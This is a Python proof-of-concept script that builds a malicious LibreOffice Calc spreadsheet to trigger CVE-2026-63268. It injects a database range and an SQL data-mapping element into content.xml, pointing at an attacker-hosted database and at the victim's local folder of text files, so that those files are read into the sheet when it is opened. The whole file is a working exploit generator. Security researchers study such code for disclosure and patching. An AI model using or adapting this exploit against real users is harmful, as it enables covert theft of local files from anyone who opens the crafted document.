#!/usr/bin/env python3
"""Craft the attacker ODS that triggers CVE-2026-63268 (CVE-2026-63268).

Takes a seed ODS produced by LibreOffice itself and injects, inside
<office:spreadsheet>:

  * a <table:database-range> (named) that marks the destination range the
    fetched rows are copied into by sc::ScDBDataManager::WriteToDoc, and
  * a <calcext:data-mapping> with:
      - calcext:provider      = org.libreoffice.calc.sql  (the SQL provider)
      - calcext:id            = <table>@<database> as parsed by SQLFetchThread
                                ("table" = file name in the folder db,
                                 "database" = a name resolved by
                                 sdb::DatabaseContext, here a URL of the
                                 attacker-hosted odb)
      - calcext:database-name = the named database range above
      - xlink:href            = the sdbc:flat:file:// db href naming the
                                victim's folder of local text files
"""
import sys
import zipfile
import re


def craft(seed_ods, out_ods, href, mid, dbname="leakrange"):
    with zipfile.ZipFile(seed_ods) as z:
        names = z.namelist()
        data = {n: z.read(n) for n in names}
    content = data["content.xml"].decode("utf-8")
    sheet = re.search(r'<table:table table:name="([^"]*)"', content).group(1)
    target = "%s.A1:%s.E20" % (sheet, sheet)
    inject = (
        '<table:database-ranges>'
        '<table:database-range table:name="%s" table:target-range-address="%s"/>'
        '</table:database-ranges>'
        '<calcext:data-mappings '
        'xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" '
        'xmlns:xlink="http://www.w3.org/1999/xlink">'
        '<calcext:data-mapping xlink:href="%s" calcext:provider="org.libreoffice.calc.sql" '
        'calcext:id="%s" calcext:database-name="%s" calcext:data-frequency="0"/>'
        '</calcext:data-mappings>'
    ) % (dbname, target, href, mid, dbname)
    assert "</office:spreadsheet>" in content, "unexpected seed document layout"
    content = content.replace("</office:spreadsheet>", inject + "</office:spreadsheet>")
    data["content.xml"] = content.encode("utf-8")
    with zipfile.ZipFile(out_ods, "w") as z:
        for n in names:
            zi = zipfile.ZipInfo(n)
            z.writestr(zi, data[n], zipfile.ZIP_STORED if n == "mimetype" else zipfile.ZIP_DEFLATED)


if __name__ == "__main__":
    craft(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
